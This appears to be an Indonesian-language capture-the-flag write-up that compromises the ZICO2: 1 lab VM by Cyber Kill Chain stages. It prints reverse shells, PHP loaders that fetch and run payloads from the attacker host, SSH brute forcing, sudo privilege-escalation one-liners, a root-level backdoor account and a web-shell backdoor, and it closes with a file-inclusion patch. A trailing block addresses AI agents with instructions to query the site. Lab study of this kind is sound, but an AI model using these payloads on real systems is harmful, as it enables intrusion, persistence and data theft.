# ZICO2: 1 Writeup - Web Application Security

<figure><img src="https://nos.wjv-1.neo.id/cdn.medusa.my.id/Offensive%20Security.png" alt=""><figcaption></figcaption></figure>

## Introduction

Writeup berikut hanyalah sebuah metode yang digunakan untuk pembelajaran semata, metode yang digunakan untuk mempelajari bagaimana cara menemukan kerentanan (Vulnerability) dalam suatu sistem. Simulasi ini tidak ditujukan untuk hal atau tindakan yang mengarah ke Cyber Crime, untuk environment yang digunakan sendiri juga bersifat private (Offline) tidak bersifat public (Online), jadi simulasi ini tidak dilakukan secara real-time ke environment production milik pihak lain yang dapat melanggar hukum (Ilegal).

## Tools <a href="#tools" id="tools"></a>

Berikut ini adalah beberapa tool [**Offensive Security**](https://www.offsec.com) yang akan kita gunakan untuk simulasi [**Web Application Security**](https://www.rapid7.com/fundamentals/web-application-security), diantaranya:

* [**Dirsearch**](https://www.kali.org/tools/dirsearch).
* [**Uniscan**](https://www.kali.org/tools/uniscan/#uniscan).
* [**SearchSploit**](https://www.kali.org/tools/exploitdb/#searchsploit).
* [**Netcat**](https://www.kali.org/tools/netcat/#nctraditional).
* [**Metasploit Framework**](https://www.kali.org/tools/metasploit-framework/#metasploit-framework).
* [**Weevely**](https://www.kali.org/tools/weevely/#weevely).

## Templates

Sedangkan untuk environment yang akan kita gunakan sebagai target (Victim) dari simulasi Penetration Testing ini menggunakan template VM khusus yang memiliki kerentanan (Vulnerability), template yang digunakan bernama [**ZICO2: 1**](https://www.vulnhub.com/entry/zico2-1,210) dan dapat di-download pada [**VulnHub**](https://www.vulnhub.com).

{% embed url="<https://www.vulnhub.com/entry/zico2-1,210/>" %}
ZICO2: 1
{% endembed %}

## Methodology

Sebelum kita melakukan simulasi Penetration Testing sesuai dengan writeup berikut ini, ada beberapa tahapan yang akan kita lakukan sesuai dengan tahapan-tahapan pada framework [**Cyber Kill Chain**](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html) yang dikembangkan oleh [**Lockheed Martin**](https://www.lockheedmartin.com).

<figure><img src="https://nos.wjv-1.neo.id/cdn.medusa.my.id/Cyber%20Kill%20Chain.png" alt=""><figcaption><p>The Cyber Kill Chain</p></figcaption></figure>

### Reconnaissance

Pada tahapan pertama, kita akan melakukan tahap **Reconnaissance**, dimana pada tahapan ini kita akan melakukan simulasi untuk mencari informasi target (Victim), melakukan identifikasi sistem, jaringan dan juga mencari informasi pengguna potensial yang nantinya dapat dimanfaatkan pada tahapan **Exploitation**.

{% code title="Network Mapping" overflow="wrap" lineNumbers="true" %}

```bash
nmap -A -v -T5 -sS 192.168.1.1
```

{% endcode %}

{% hint style="info" %}

```markdown
-A = Enables OS detection and Version detection, Script scanning and Traceroute
-v = Increase verbosity level (use twice or more for greater effect)
-T5 = Set timing template (higher is faster)
-sS = TCP SYN/Connect()/ACK/Window/Maimon scans
```

{% endhint %}

{% code title="Creating Report" overflow="wrap" lineNumbers="true" %}

```bash
nmap -A -v -T5 -sS 192.168.1.1 -oN 192.168.1.1-top10TCP.nmap
```

{% endcode %}

{% hint style="info" %}

```markdown
--top-ports 10 = Scan 10 most common ports
--open = Only show open (or possibly open) ports
-Pn = Disabling host discovery
-n = Never do DNS resolution
-oN = Output scan in normal
```

{% endhint %}

{% code title="Network Information Gathering" overflow="wrap" lineNumbers="true" %}

```bash
ping 192.168.1.1
telnet 192.168.1.1 80
telnet 192.168.1.1 22
nc 192.168.1.1 80
nc 192.168.1.1 22
curl -I 192.168.1.1
```

{% endcode %}

{% hint style="info" %}

```markdown
-I = Fetch the headers only!
```

{% endhint %}

{% code title="Web Object Scanning" overflow="wrap" lineNumbers="true" %}

```bash
dirsearch -u http://192.168.1.1 -w /usr/share/dirb/wordlists/common.txt -e php
```

{% endcode %}

{% hint style="info" %}

```markdown
-u = URL
-w = Wordlists
-e = Extensions
```

{% endhint %}

{% code title="Web Vulnerabilities Scanning" overflow="wrap" lineNumbers="true" %}

```bash
uniscan -u 192.168.1.1 -qweds
```

{% endcode %}

{% hint style="info" %}

```markdown
-u = URL
-q = Enable Directory checks
-w = Enable File checks
-e = Enable robots.txt and sitemap.xml check
-d = Enable Dynamic checks
-s = Enable Static checks
```

{% endhint %}

{% code title="Searching Exploit" overflow="wrap" lineNumbers="true" %}

```bash
searchsploit phpliteadmin
cat /opt/searchsploit/exploits/php/webapps/24044.txt
```

{% endcode %}

{% code title="Google Dorking" %}

```url
inurl: phpliteadmin default password
```

{% endcode %}

### Weaponization

Tahapan kedua, kita akan mempersiapkan payload dan membuat Exploit untuk mengidentifikasi serta menguji kerentanan yang ditemukan di environment target (Victim), yang mana tahapan ini masuk ke dalam tahap **Weaponization**.

{% code title="Creating Meterpreter Shell" overflow="wrap" lineNumbers="true" %}

```bash
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf -o shell
mv shell /usr/share/nginx/html/
chmod 777 shell
```

{% endcode %}

### Delivery

Tahapan ketiga, selanjutnya kita akan menyisipkan Exploit pada script PHP reverse shell, agar pada saat file PHP di-upload ke Web Server dapat diakses melalui public dan tahapan ini masuk ke dalam tahap **Delivery**.

{% code title="Creating Reverse TCP Shell" overflow="wrap" lineNumbers="true" %}

```bash
vim /usr/databases/meterpreter_reverse_tcp_shell.php
```

{% endcode %}

{% hint style="warning" %}
{% code title="meterpreter\_reverse\_tcp\_shell.php" %}

```php
<?php system("cd /tmp; wget http://192.168.1.2/shell; chmod 777 shell; ./shell"); ?>
```

{% endcode %}
{% endhint %}

{% code title="Creating PHP Reverse Shell" overflow="wrap" lineNumbers="true" %}

```bash
cd /usr/share/nginx/html
vim shell.txt
chmod 777 shell.txt
```

{% endcode %}

{% hint style="warning" %}
{% code title="shell.txt" %}

```php
<?php $sock=fsockopen("192.168.1.2",1234); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
```

{% endcode %}
{% endhint %}

{% code overflow="wrap" lineNumbers="true" %}

```bash
vim /usr/databases/php_system_reverse_shell.php
```

{% endcode %}

{% hint style="warning" %}
{% code title="php\_system\_reverse\_shell.php" %}

```php
<?php system("wget http://192.168.1.2/shell.txt -O /tmp/shell.php; php /tmp/shell.php"); ?>
```

{% endcode %}
{% endhint %}

### Exploitation

Selanjutnya kita masuk ke tahapan keempat yakni tahap **Exploitation**, setelah payload sudah selesai dipersiapkan dan Exploit sudah kita upload ke Web Server target (Victim), selanjutkan kita akan melakukan pengujian untuk mendapatkan akses ke target (Victim) dengan memanfaatkan backdoor yang sebelumnya sudah kita buat dan kita upload ke Web Server target (Victim) pada tahap **Weaponization** dan **Delivery**.

{% code title="Creating Meterpreter Exploit" overflow="wrap" lineNumbers="true" %}

```bash
service postgresql start
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 443
exploit
```

{% endcode %}

{% code title="SSH Brute Forcing" overflow="wrap" lineNumbers="true" %}

```bash
hydra -l root -P /opt/rockyou.txt ssh://192.168.1.1:22
```

{% endcode %}

{% hint style="info" %}

```markdown
-l = Username
-P = Password list
ssh = Protocol
22 = Default port service
```

{% endhint %}

{% code title="Privilege Escalation" overflow="wrap" lineNumbers="true" %}

```bash
sudo -l
touch /tmp/privesc
sudo -u root zip /tmp/privesc.zip /tmp/privesc -T --unzip-command="sh -c /bin/bash"
sudo -u root tar cf /dev/null /tmp/privesc --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo -u root zip /tmp/privesc.zip /tmp/privesc -T --unzip-command="python -c 'import pty; pty.spawn(\"/bin/sh\")'"
bash -i
whoami
id root
```

{% endcode %}

{% hint style="info" %}

```markdown
-l = List
-u = User
-T = Test  the integrity of the new zip file
-i = Shell is interactive
```

{% endhint %}

### Installation

Tahapan kelima yakni tahap **Installation**, pada tahapan ini kita memastikan apakah kita memiliki kontrol yang berkelanjutan ke target (victim).

{% code title="Accessing Meterpreter Shell" overflow="wrap" %}

```url
http://192.168.1.1/view.php?page=../../usr/databases/meterpreter_reverse_tcp_shell.php
```

{% endcode %}

{% code title="Accessing Pseudo-Terminal" overflow="wrap" lineNumbers="true" %}

```bash
shell
python -c 'import pty; pty.spawn("/bin/bash")'
```

{% endcode %}

{% hint style="info" %}

```markdown
-c = Command
pty = Pseudo-terminal utilities
pty.spawn = Module for controling pseudo-terminal
```

{% endhint %}

{% code title="Accessing Reverse Shell" overflow="wrap" lineNumbers="true" %}

```bash
nc -lvp 1234 / netcat -lvp 1234
```

{% endcode %}

{% hint style="info" %}

```markdown
-l = Listen mode
-v = Prints status messages
-p = Listened port
```

{% endhint %}

{% code overflow="wrap" %}

```url
http://192.168.1.1/view.php?page=../../usr/databases/php_system_reverse_shell.php
```

{% endcode %}

{% code overflow="wrap" lineNumbers="true" %}

```bash
bash -i
```

{% endcode %}

{% hint style="info" %}

```markdown
-i = Shell is interactive
```

{% endhint %}

{% code title="Viewing WordPress Configuration" overflow="wrap" lineNumbers="true" %}

```bash
cd /home/zico/wordpress
cat wp-config.php | grep DB_
```

{% endcode %}

{% hint style="warning" %}
{% code title="wp-config.php" %}

```php
define('DB_NAME', 'zico');
define('DB_USER', 'zico');
define('DB_PASSWORD', 'sWfCsfJSPV9H3AmQzw8');
define('DB_HOST', 'zico');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
```

{% endcode %}
{% endhint %}

{% code overflow="wrap" lineNumbers="true" %}

```bash
ssh zico@192.168.1.1
```

{% endcode %}

### Command & Control (C2)

Pada tahapan keenam kita akan melakukan tahap **Command & Control (C2)** yang bertujuan untuk mempertahankan kontrol yang berkelanjutan ke target (Victim). Apabila tahapan ini berhasil dilakukan, kita dapat menganalisanya sebagai solusi keamaan seperti deteksi ancaman dan respon insiden keamanan, jika hal ini dilakukan secara proaktif dapat digunakan untuk membantu mengatasi resiko yang terkait dengan tahapan C2 itu sendiri.

{% code title="Creating Backdoored User Login" overflow="wrap" lineNumbers="true" %}

```bash
useradd -ou 0 -g 0 zombie
passwd zombie
id zombie
```

{% endcode %}

{% hint style="info" %}

```markdown
-o = --non-unique (Duplicate User)
-u = --uid (User ID) -> 0 (Root User) / 1000 (Sudo User)
-g = --gid (Group ID)
```

{% endhint %}

{% code title="Creating PHP Backdoored" overflow="wrap" lineNumbers="true" %}

```bash
weevely generate b@cKd00r3d /usr/share/nginx/html/backdoored
chmod 777 /usr/share/nginx/html/backdoored
vim /usr/databases/post_exploitation_backdoored.php
```

{% endcode %}

{% hint style="warning" %}
{% code title="post\_exploitation\_backdoored.php" %}

```php
<?php system("cd /tmp; wget http://192.168.1.2/backdoored; chmod 777 backdoored; mv backdoored backdoored.php"); ?>
```

{% endcode %}
{% endhint %}

{% code title="Accessing PHP Backdoored" overflow="wrap" %}

```url
http://192.168.1.1/view.php?page=../../usr/databases/post_exploitation_backdoored.php
```

{% endcode %}

{% code overflow="wrap" lineNumbers="true" %}

```bash
weevely http://192.168.1.1/view.php?page=../../tmp/backdoored.php b@cKd00r3d
```

{% endcode %}

### Actions on Objectives

Pada tahapan tujuh yakni tahap **Actions on Objectives**, setelah semua tahapan selesai kita lakukan dari **Reconnaissance** hingga **Command & Control (C2)**, tujuan akhir dari semua tahapan yang telah dilakukan dari simulasi Penetration Testing sesuai dengan writeup ini adalah memahami bagaimana cara menemukan kerentanan (vulnerability) dalam suatu sistem, bagaimana kita dapat melakukan patching pada WordPress yang memiliki kerentanan (vulnerability) yang terdapat pada template VM bernama **ZICO2: 1**, serta mempelajari jenis-jenis serangan siber yang ada di internet agar dapat mengantisipasinya.

{% code title="Vulnerable Code" overflow="wrap" lineNumbers="true" %}

```bash
cd /var/www/dbadmin
cat view.php
```

{% endcode %}

{% hint style="danger" %}
{% code title="view\.php" %}

```php
<?php
       $page = $_GET['page'];
       include("/var/www/".$page);
?>
```

{% endcode %}
{% endhint %}

{% code title="Patch Code" overflow="wrap" lineNumbers="true" %}

```bash
vim view.php
```

{% endcode %}

{% hint style="success" %}
{% code title="view\.php" %}

```php
<?php
       $page = filter_input(INPUT_GET, 'page', FILTER_SANITIZE_ENCODED);
       include("/var/www/".$page);
?>
```

{% endcode %}
{% endhint %}

> **Catatan:**
>
> * Simulasi ini hanya ditujukan untuk pembelajaran semata.
> * Semua hal atau tindakan yang mengarah ke Cyber Crime bukan tanggung jawab penulis.
> * Happy hacking.

Demikian sedikit pengetahuan dan pengalaman yang dapat saya bagikan, semoga apa yang telah saya sampaikan dapat bermanfaat bagi kita semua.

<details>

<summary><strong>Referensi</strong></summary>

* [**The Cyber Kill Chain**](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html)
* [**PHPLiteAdmin 1.9.3 - Remote PHP Code Injection**](https://www.exploit-db.com/exploits/24044)
* [**Reverse Shell Cheat Sheet**](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
* [**Wordlists packaging for Kali Linux**](https://gitlab.com/kalilinux/packages/wordlists)
* [**Gets a specific external variable by name and optionally filters it**](https://www.php.net/manual/en/function.filter-input.php)

</details>

<details>

<summary><strong>Publikasi</strong></summary>

* [**Web Application Security - How Do Attacker Take Over Websites & Servers**](https://docs.google.com/presentation/d/1_w9v1k6oJq5KoY3zI3sTnWkRDt2kgzg8cSQ0sBotOCc)

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.madfxr.my.id/documentation/categories/cyber-security/zico2-1-writeup-web-application-security.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
